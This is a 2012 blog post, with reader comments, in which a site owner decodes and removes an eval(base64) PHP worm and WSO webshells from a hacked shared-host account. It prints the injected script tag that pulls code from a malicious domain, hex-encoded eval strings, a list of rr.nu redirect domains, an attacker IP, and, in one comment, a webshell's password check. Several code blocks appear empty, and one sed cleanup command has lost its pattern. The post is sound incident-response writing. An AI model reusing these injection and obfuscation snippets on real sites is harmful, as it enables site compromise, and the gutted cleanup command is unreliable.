Friday, March 02, 2012

Dyslexic Mayans Want to Sell You Cialis

Problems with preg_replace("/.*/e","\x65\x76 , $_8b7b="\x63\x72\, eval(base64_ hacks, and those damn rr.nu domain redirects

My shared host account got hacked-TFU last Monday. After looking a little closer it became clear that there had been more than one break in. Apparently my account also got hacked last November, three times in December (twice by the same hacker!) and once in January too, so for the past few months my server has had a back door like Dennis the Menace's hanging pajama flap.

Monday's attack was the one that finally got my attention because its impact was so widespread; this particular worm grabs every php script it can get a hold of and attaches a long eval(base64_decode statement to the header. The damage was spread across three separate domains and corrupted every php file in my Gallery2, PHPBB, Joomla and Wiki installations. Only seven files were left untouched; five of those had been placed in my domain tree by other hackers, and the other two were the entry point through which the worm script got executed. A considerate and genteel group, these guys, that in the course of clobbering my site the hackers they were nice enough not to step on each others' toes.

So, what does eval(base64 code do? It adds this extra line of javascript to each page:

 <script src="http://sweepstakesandcontestsdo.com/pmg.php?dr=1"></script> 

And here is the offending php code that got meanly inserted throughout my account:



The code is an illegible jumble because it's encoded in base64. You can see an unjumbled version in your browser by changing the first "eval" to "print".

Here is a base64 decoded version, with my comments as to what the worm does:




Cleaning the Mess

The first thing to do: to button up your pajamas. Here's how you find your open, world writeable directories, and to document those in a file:

find . -type d -perm -o=w > openbackdoors.txt

Run that command in your home directory. You'll want the file for later reference; it can be viewed with:

more ~/openbackdoors.txt

Then close those directories to world-write access:

find . -type d -perm -o=w -print -exec chmod 770 {} \;

Using your openbackdoors.txt log, go back and scrutinize *all* the files in those directories. I found three types of POST injection points; two were different obfuscations of the WSO webshell, and another looked to be a less sophisticated access portal. Even after changing directory permissions those files leave the whole system accessible and vulnerable, a sort of backdoor doorstop if you will.


Here is the first version of the webshell:



And here is the second version:



What Are We Dealing with Here?

I want to take a moment to discuss decrypting these files and what they do.  If you're primarily interested in fixing your system and taking remedial action, skip down to And How Do We Deal with It? below.

So, it turns out these two files are functionally the same – but then why do they look so different? The first is obfuscated in a combination of binary and base64 encoding, and gzdeflate() data compression. If you were to replace the preg_replace() function with print, then remove the first, and third argument, and everything between the single-quotes of the second argument, you'd get this expression:

print("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x29\x29\x29\x3B");

which when print()'ed to the browser displays:

eval(gzinflate(base64_decode('')));

The second webshell script is not at all encrypted; it is, however, cutely disguised by comments to pass as friendly code written for RSS management. It takes a low hacker indeed to besmirch the honorable name of Kellan Elliot-McCrea.

Verifying that the two scripts are the same thing is easy enough. Do this by commenting out that first line (" $auth_pass = etc. . ." ), which is the key for a password-wrapper around the shell. Remove the password requirement, fire up the script in your browser and -- voila! -- the whole domain tree will now do your bidding. Oh, and how do I know I got hacked by the same person multiple times? Because they keep using the same password!

The third backdoor door stop was the most challenging for me to figure out. It looks like this:



Two crucial things to know here are that the odd looking string of slashes, x'es and digits is binary code, and that binary code once served to the browser appears the same as regular typescript. Since binary code doesn't need to be unencoded and can be printed out, you can simply comment out the final expression and add:

echo $_8b7b;

to the bottom see what the first variable is doing. With a little persistent cut-and-pasting we find:

$_8b7b1f56= create_function(" ",base64_decode(" [a whole jumble of text] "));

Ah, now something we've seen before! Saving the base64 jumble and echo'ing it to the browser gives us:



Which is a serious wall of ascii jumble! Letting the browser do the work for us again, we can cut and paste the code to a different script, change the final "eval" statement to "print", and again check the browser for the ascii-decoded results. The result includes html code that your browser will interpret, so to get to the raw script we need to look at the page source instead:




This little portal, in turns out, was the vector by which all my php files got corrupted.  Apparently some ne'er-do-well from Montreal with ip address 64.15.78.203 POST'ed his nefarious worm to this script and seconds later my entire account had a big ol' Canadian turd dropped on its face.  

And . . . strangely enough, the attack happened at 12:21 pm, or PST server time of 2012-02-20 12:21.  An ominous portent of a long foretold apocalypse?  A happy instance of numerological pranking?  Or the desperate reaching of a paranoiac trying to make sense of his recent victimhood?  Probably not quite the end of days, which would've been 2012-12-21.  But maybe, just maybe, the beginning of the end.

And all that work just to do this?!?!*:


And this?!?!*:




*(The SEO-motivated medicine peddling was probably done via webshell and not through the POST injection script that resulted in an account-wide corruption of my php files.  So, yes, my blog title may have mizled you.)


And How Do We Deal with It?

Now that we've ID'ed the open directories and removed those injection points, we're going to have to search the other directories for similar web shell scripts and POST portals.  I should emphasize that no matter what other precautions you take (changing passwords, changing directory permissions, reverting to older backups or database instances, etc.) so long as these files can be accessed from a browser your entire account is compromised.  You absolutely must delete these files or at least move them off your domain tree so that they are not read by the server.

These shell commands may take a while so maybe fire up a few shells and we'll write these to files for later reference.  Run these commands from either your home directory or your domain root; they will look recursively deeper into the current directory.

Look for the unencrypted web shells:

find . -type f -name "*.php" | xargs grep -Hl "WSO_VERSION" > removethesefiles.txt

And for those hidden in a preg_replace expression:

find . -type f -name "*.php" | xargs grep -Hl '\\x65\\x76\\x61\\x6C\\x28' > removethesefiles2.txt

And for the POST portal:

find . -type f -name "*.php" | xargs grep -Hl "\$_8b7b"  > removethesefiles3.txt

Then scrub all of your php scripts for injected eval(base64_decode script:

find ./ -name "*.php" -type f |  xargs sed -i 's###g' 2>&1

find ./ -name "*.php" -type f |  xargs sed -i '/./,$!d' 2>&1


Preventative Measures


So how did they get in?  In this case I think the first breach was most likely another authenticated user on my shared host finding the world-writable directory I'd left exposed (shame on me). In fact, it was at least four different authenticated users, as I can see that they each left behind webshell files not owned by me.  With a webshell implanted,  one login through the browser as the home user (that is, as though they had ssh'ed or sftp'ed onto the system with password verification), and that explains why the POST portal script ($_8b7b="\x63), which you may remember was the originating point of the last attack, showed my userID as file owner.

This shell command will let you see who owns the files of a directory and when they were last modified:

ls -actl

A few other precautions should be taken.  Your database passwords are likely recorded in plain sight in db configuration files, so all of those ought to be altered.  And you might as well change your ssh/sftp passwords while you're at it.

To see if the breach was indeed through your user account, use these two shell commands to create sub-logs of your user activity for this month and the month before:

last -i | grep yourusername8 > thismonth.txt 


last -if /var/log/wtmp.1 | grep yourusername > lastmonth.txt 


where yourusername8 is the first 8 characters of your username. Then use http://www.ip-adress.com/ip_tracer/ to check the source of any questionable ip addresses.

Final Precautions

From your home directory, look for all files that have been altered since the last attack:

find . -type f ! -name "log" -mtime -4 > hackedfiles.txt

where -4 is the number of days since the attack.

Also, search for files you're not the owner of (the webshells implanted in my world-writeable directories were inserted by a different owner group!):

find . -type f -printf "%u %h %p \n" | grep -v yourusername | grep -v dhapache | grep -v root > notmyfiles.txt 

where yourusername should be replaced with just that. The results can be found in "notmyfiles.txt", located in the same directory you ran the command. If you see "Permission denied" complaints, those are likely folders owned by the root user but you ought to double-check just in case.


Last Thoughts

One amendment to what's being said out there on the internet: these attacks, as far as I can tell, can happen to any php application and on any host server. I've seen pages that implicate GoDaddy and Wordpress regarding these attacks, but I'm neither a GoDaddy customer nor did I have Wordpress on any of my domains.

One disappointment for me after doing all this is still not knowing if it was a person or an automatically executed script that finally pulled the trigger.  I was really hoping to find subsections within these scripts that might point to a self-proliferating hack: portions of code that would climb up and down the directory tree and execute itself, span the server to ID world-writeable directories, record its findings and POST itself to other logs on other servers.  It would've been neat to see the whole life-cycle of a virus, from start-to-end-to-start.  Now I'm left with the sad likelihood that my last week was spent cleaning up after some jerk-off hiding behind an exploited Canadian server.

And if anyone can crack the code as to what is going on with this broken domain list, I'd be really interested to hear what you figured out:

http://gical45exact.rr.nu/
http://ionis90landsi.rr.nu/
http://ionbr82eastna.rr.nu/
http://ati14onst.rr.nu/
http://rmore79riveru.rr.nu/
http://ionsh64iitet.rr.nu/
http://proc30esso.rr.nu/
http://vitalf68ramewor.rr.nu/
http://enlosu65spicio.rr.nu/
http://ingg93rant.rr.nu/
http://iedla63wyers.rr.nu/
http://com04men.rr.nu/
http://ouvech35oicetim.rr.nu/
http://stec31onomi.rr.nu/
http://ligen92tcusto.rr.nu/
http://ily23visi.rr.nu/
http://xingsa51ltpreve.rr.nu/
http://astre09atyqr.rr.nu/
http://sbulle06tsconti.rr.nu/
http://nia91nskg.rr.nu/
http://chelpo94landsa.rr.nu/
http://ttr92acte.rr.nu/
http://nwin54simpl.rr.nu/
http://bea90utym.rr.nu/
http://irdcap79turedre.rr.nu/
http://ent70als.rr.nu/
http://rie21rcom.rr.nu/
http://syste98msman.rr.nu/
http://rpo66rat.rr.nu/
http://llyim30munity.rr.nu/
http://aising32austral.rr.nu/
http://anc57erid.rr.nu/
http://omist96smoto.rr.nu/
http://king35dayv.rr.nu/
http://quic34kprog.rr.nu/
http://ancisc11oretai.rr.nu/
http://vesc01hang.rr.nu/
http://pital40relat.rr.nu/
http://nom21iesa.rr.nu/
http://terda31ytime.rr.nu/
http://ixeld52erlya.rr.nu/
http://ile68depa.rr.nu/
http://cie69svoi.rr.nu/
http://ordonv12ectorct.rr.nu/
http://mitexp80ressman.rr.nu/
http://tingst30iffles.rr.nu/
http://ford53blue.rr.nu/
http://trill18ionsa.rr.nu/
http://ffs06dive.rr.nu/
http://ban85kmak.rr.nu/
http://omatav16oidedti.rr.nu/
http://jamess84howntr.rr.nu/
http://dwant12sdocu.rr.nu/
http://nke26ptr.rr.nu/
http://eepuni61shment.rr.nu/
http://sang57leca.rr.nu/
http://eti10nig.rr.nu/
http://nati40oncau.rr.nu/
http://ood46ara.rr.nu/
http://ingco06mpris.rr.nu/


In dealing with the mess I came across a good number of resources:
http://wiki.dreamhost.com/Troubleshooting_Hacked_Sites
http://danhilltech.tumblr.com/post/18085864093/if-you-get-eval-base64-hacked-on-wordpress-dreamhost
http://blog.sucuri.net/2010/10/attacks-on-godaddy-sites-insomniaboldinfoorg-com.html
http://en.wikipedia.org/wiki/2012_phenomenon (just kidding!)

Finally, I should say that some of these steps I didn't even need to take because, as a happy groupie of Dreamhost, I had the convenience of letting their domain system restore do most of the work for me!

Addendum, two months later: this has been the most thorough write-up of the issue that I've seen so far, but I think because of a few oddities of my blog (probably the infrequent posting plays a large role) this page doesn't really appear on searches.  Please link to this where you can, perhaps at another forum or site that you earlier found to be a dead-end or not helpful.  Help and be helped, please!

Labels: , , , , , , , , ,

11 Comments:

Blogger Website Malware and Hack Repair said...

Nicely done.
Some of your checking scripts are nice as well. I help quite a few folks clear these sorts of hacks from their WordPress blogs every week and generally you really only need one command to locate the scripts, then a nice find replace function to update them all. Agreed, it's locating "all" the hacked files and back door scripts that can be the time consuming part.

Side note. If you host allows for directories with 777 permissions you need to move your site to another host (yesterday). Plenty of reasons why 777 is the sign of a poorly secured web hosts in Google, so I won't get into why here.

That said, one quick tip that most folks don't consider for WordPress.
Both wp-includes and wp-admin are core directories, so before I even look for hacked files within an account I always just rename both, like wp-includes.HACKED and wp-admin.HACKED, then upload a virgin copy of the directory in their place just to be safe (as well as all of the core php files in public_html. This may likewise have the added benefit of removing many of the hidden hacks in one feel swoop, saving a lot of time later.

Enjoy!
Jim Walker
The Hack Repair Guy
http://hackrepair.com

4:07 PM  
Blogger Robert Dyson said...

Thank you for this fantastic writeup. Saved me hours.

10:34 AM  
Anonymous Spork said...

Cheers for the writeup mate, very informative.

Looks like I got done by an old install of ZenPhoto that I haven't paid attention to for ages.

Always got to keep things up to date, I suppose.

7:45 PM  
OpenID woolwit said...

My DreamHost account is completely hosed. Their solution so far was a security bot that re-wrote thousands of php files in my account but also re-labeled the infected files as *.php.INFECTED.php Sites that were working last night after applying most of your solution are now, after their security bot did it's run through, broken. I'm a cut and paste level web developer who can barely get around the command line.

6:52 PM  
Blogger polycube said...

I just want to say: THANK YOU!

My omino.com/pixelblog at dreamhost got fully hacked this way, and your writeup is wonderful.

(Trivia -- you left out the single quotes, in the find commands. find . -name '*.php')

Rock on!

5:36 PM  
Blogger polycube said...

This comment has been removed by the author.

5:36 PM  
Anonymous Matt said...

Fantastic post! Superb write up, saved me hours of head scratching! Thanks!

2:12 PM  
Anonymous Anonymous said...

Thank you very much for your text. You have save HOURS of pain to lot o people with the same problem

6:54 AM  
Blogger xkahn said...

I looked into this as well when my Dreamhost account was hacked. I noticed that there appears to be an unknown POST vulnerability in PHP while reading through the access logs. (grep through your logs and watch POST traffic.) I also noticed that the attacks appear to be iterating through directories with indexes.

Turning off indexes and applying mod_security rules related to POST seems to help some. Read more here:

[ASKAPACHE.COM] Mod_Security .htaccess tricks

11:52 AM  
Blogger David Klein said...

// Here is the hacker's password check (the password is hashed and so illegible).
// Thank you, Hacker, for not leaving the system to any ol' Johnny-come-lately!
if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458")
I guess the hackers password is 'showmustgoon!'

4:19 PM  
Blogger Mark said...

Thank you for the post. Great to hear you've recovered from the compromise. I do want to say that although database configuration files do contain login credentials, they likely worthless if they are unique and if remote database connections are blocked by your host (and they should be). However taking these precautions are always a good idea. Your conclusion about another compromised user on your server writing to your directly with 777 permissions is sound as once another shell with your permissions was created would give them accesses to your remaining files on your account. Which brings me to my next point.

In response to Mr Hack Repair Guy's remark about permissions. These are not the responsibility of the web host. Hosts don't let users makes these changes just as a city doesn't let pedestrians jaywalk across a busy street. Users are responsible for the configurations of their scripts and should use best practices to ensure the security of the account. Blaming the tools (in this case the server) shows your lack of understanding of these basic concepts.

8:47 AM  

Post a Comment

<< Home